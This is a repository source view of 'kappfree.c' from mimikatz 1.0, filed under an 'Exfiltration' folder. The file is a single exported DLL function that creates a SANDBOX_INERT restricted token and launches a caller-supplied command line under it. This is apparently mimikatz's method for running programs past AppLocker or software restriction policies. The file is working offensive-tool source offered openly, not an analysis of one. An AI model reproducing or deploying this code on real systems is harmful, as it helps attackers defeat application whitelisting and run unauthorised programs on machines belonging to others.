aboutsummaryrefslogtreecommitdiff
path: root/Exfiltration/mimikatz-1.0/kappfree/kappfree.c
blob: 63130c9264c7e904c972a0e06d770ff8cfbcb03a (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
/*	Benjamin DELPY `gentilkiwi`
	http://blog.gentilkiwi.com
	benjamin@gentilkiwi.com
	Licence : http://creativecommons.org/licenses/by/3.0/fr/
*/
#include "kappfree.h"

extern __declspec(dllexport) void __cdecl startW(HWND hwnd, HINSTANCE hinst, LPWSTR lpszCmdLine, int nCmdShow)
{
	HANDLE monToken, monSuperToken;
	wchar_t * commandLine;
	PROCESS_INFORMATION mesInfosProcess;
	STARTUPINFO mesInfosDemarrer;

	if(OpenProcessToken(GetCurrentProcess(), TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_QUERY /*| TOKEN_IMPERSONATE*/, &monToken))
	{
		if(CreateRestrictedToken(monToken, SANDBOX_INERT, 0, NULL, 0, NULL, 0, NULL, &monSuperToken))
		{
			RtlZeroMemory(&mesInfosProcess, sizeof(PROCESS_INFORMATION));
			RtlZeroMemory(&mesInfosDemarrer, sizeof(STARTUPINFO));
			mesInfosDemarrer.cb = sizeof(STARTUPINFO);
			
			commandLine = _wcsdup(lpszCmdLine);
			if(CreateProcessAsUser(monSuperToken, NULL, commandLine, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &mesInfosDemarrer, &mesInfosProcess))
			{
				CloseHandle(mesInfosProcess.hThread);
				CloseHandle(mesInfosProcess.hProcess);
			}
			free(commandLine);
			CloseHandle(monSuperToken);
		}
		CloseHandle(monToken);
	}
}